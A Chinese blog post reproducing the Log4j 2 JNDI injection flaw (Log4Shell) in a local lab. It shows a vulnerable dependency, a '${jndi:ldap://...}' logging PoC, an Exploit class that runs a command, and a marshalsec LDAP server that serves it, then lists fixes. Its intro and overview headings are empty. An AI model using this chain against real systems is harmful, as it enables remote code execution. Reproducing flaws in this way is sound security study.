点击上方蓝色“石杉的架构笔记”,选择“设为星标”
长按扫描上方免费参加
| 简介
| 漏洞概述
| 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
| 环境搭建
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
| 漏洞利用
1 使用POC测试
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
首先新建exp.java,然后编译为class文件。
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac exp.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2
| 修复方式
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true; 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true; JDK使用11.0.1、8u191、7u201、6u211及以上的高版本; 部署使用第三方防火墙产品进行安全防护。
网友评论已有0条评论, 我也要评论